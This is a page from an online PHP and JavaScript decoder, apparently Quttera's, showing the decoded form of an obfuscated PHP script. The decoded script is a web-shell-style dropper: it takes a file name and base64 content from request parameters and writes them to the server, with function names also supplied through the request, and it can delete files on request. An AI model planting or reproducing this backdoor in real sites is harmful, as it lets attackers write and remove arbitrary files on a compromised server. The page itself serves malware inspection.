Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$fname=(isset($_REQUEST["fname"])?$_REQUEST["fname"]:"");
$fbody=(isset($_REQUEST["code"])?$_REQUEST["code"]:"");
$opunl=(isset($_REQUEST["del"])?$_REQUEST["del"]:0);
$base_d="base64_decode";
$fo=(isset($_REQUEST["fo"])?$_REQUEST["fo"]:"");
$fw=(isset($_REQUEST["fw"])?$_REQUEST["fw"]:"");
$f_get=(isset($_REQUEST["fget"])?$_REQUEST["fget"]:"");
$f_put=(isset($_REQUEST["fput"])?$_REQUEST["fput"]:"");
$f_unl="unlink";
$f_stuaus="file_exists";
$f_size="filesize";
$str_rep="str_replace";
$js_enc="json_encode";
$hp = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") ? 'https' : 'http';
$hot = $_SERVER["HTTP_HOST"];
$rinfo=array();
$rinfo["star"]="opt";
	if($fname && $fbody){
		$con=$base_d($fbody);
		$con=$str_rep("%20"," ",$con);
		$con=$str_rep("%3A",":",$con);
		$fp =$fo($fname,'w');
	    $f_result=$fw($fp,$con);
	 	$f_dax=$f_size($fname);
			if(!$f_stuaus($fname) || $f_dax<=0)	{
				$f_putresult=$f_put($fname,$con);
				$f_dax=$f_size($fname);
			
	}
			if($f_stuaus($fname) &&  $f_dax>0)	{
				$rinfo["flink"]=$hp."://".$hot."/".$fname;
				$rinfo["res"]=1;
			
	}
			else	{
				$rinfo["flink"]=$hp."://".$hot."/".$fname;
				$rinfo["res"]=0;
			
	}
			
}
	else if($opunl=='1' && $fname){
		$rinfo["flink"]=$hp."://".$hot."/".$fname;
		$delres=$f_unl($fname);
			if($delres)	{
				$rinfo["delres"]=1;
			
	}
}
	else{
		$rinfo["star"]="temp";
}
	echo $js_enc($rinfo);

	{
	"star":"temp"
}



© 2023 Quttera Ltd. All rights reserved.